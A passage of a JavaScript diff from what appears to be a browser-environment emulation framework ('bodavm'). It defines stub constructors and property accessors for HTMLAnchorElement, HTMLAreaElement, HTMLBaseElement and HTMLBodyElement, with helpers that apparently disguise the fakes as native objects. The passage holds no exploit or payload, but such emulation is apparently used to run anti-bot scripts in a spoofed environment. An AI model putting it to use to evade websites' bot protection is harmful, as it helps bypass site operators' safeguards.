"HTMLAnchorElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hreflang", { + configurable: true, + enumerable: true, + get: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_get", arguments); + }, + set: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "coords", { + configurable: true, + enumerable: true, + get: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_get", arguments); + }, + set: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_get", arguments); + }, + set: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rev", { + configurable: true, + enumerable: true, + get: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_get", arguments); + }, + set: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "shape", { + configurable: true, + enumerable: true, + get: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_get", arguments); + }, + set: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_get", arguments); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_get", arguments); + }, + set: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_get", arguments); + }, + set: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_get", arguments); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_get", arguments); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_get", arguments); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_get", arguments); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_get", arguments); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_get", arguments); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "toString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hrefTranslate", { + configurable: true, + enumerable: true, + get: function hrefTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_get", arguments); + }, + set: function hrefTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_set", arguments); + } +}, 'prototype'); +// HTMLAreaElement对象 + +bodavm.memory.globalobj['HTMLAreaElement'] = function HTMLAreaElement() { + console.log_copy('HTMLAreaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAreaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAreaElement'], "HTMLAreaElement"); +bodavm.memory.globalobj['HTMLAreaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLAreaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "coords", { + configurable: true, + enumerable: true, + get: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_get", arguments); + }, + set: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "download", { + configurable: true, + enumerable: true, + get: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_get", arguments); + }, + set: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "shape", { + configurable: true, + enumerable: true, + get: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_get", arguments); + }, + set: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "ping", { + configurable: true, + enumerable: true, + get: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_get", arguments); + }, + set: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "noHref", { + configurable: true, + enumerable: true, + get: function noHref() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_get", arguments); + }, + set: function noHref() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_get", arguments); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_get", arguments); + }, + set: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_get", arguments); + }, + set: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_get", arguments); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_get", arguments); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_get", arguments); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_get", arguments); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_get", arguments); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_get", arguments); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "toString", arguments); + } +}, 'prototype'); +// HTMLBaseElement对象 + +bodavm.memory.globalobj['HTMLBaseElement'] = function HTMLBaseElement() { + console.log_copy('HTMLBaseElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLBaseElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBaseElement'], "HTMLBaseElement"); +bodavm.memory.globalobj['HTMLBaseElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBaseElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBaseElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBaseElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBaseElement'].prototype, "HTMLBaseElement", "target_set", arguments); + } +}, 'prototype'); +// HTMLBodyElement对象 + +bodavm.memory.globalobj['HTMLBodyElement'] = function HTMLBodyElement() { + console.log_copy('HTMLBodyElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLBodyElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLBodyElement'], "HTMLBodyElement"); +bodavm.memory.globalobj['HTMLBodyElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLBodyElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "link", { + configurable: true, + enumerable: true, + get: function link() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_get", arguments); + }, + set: function link() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "link_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "vLink", { + configurable: true, + enumerable: true, + get: function vLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_get", arguments); + }, + set: function vLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "vLink_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "aLink", { + configurable: true, + enumerable: true, + get: function aLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_get", arguments); + }, + set: function aLink() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "aLink_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "background", { + configurable: true, + enumerable: true, + get: function background() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_get", arguments); + }, + set: function background() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "background_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onafterprint", { + configurable: true, + enumerable: true, + get: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_get", arguments); + }, + set: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onafterprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeprint", { + configurable: true, + enumerable: true, + get: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_get", arguments); + }, + set: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onbeforeunload", { + configurable: true, + enumerable: true, + get: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_get", arguments); + }, + set: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onbeforeunload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLBodyElement', "onhashchange", { + configurable: true, + enumerable: true, + get: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_get", arguments); + }, + set: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLBodyElement'].prototype, "HTMLBodyElement", "onhashchange_set", arguments); + } +}, 'prototype'); 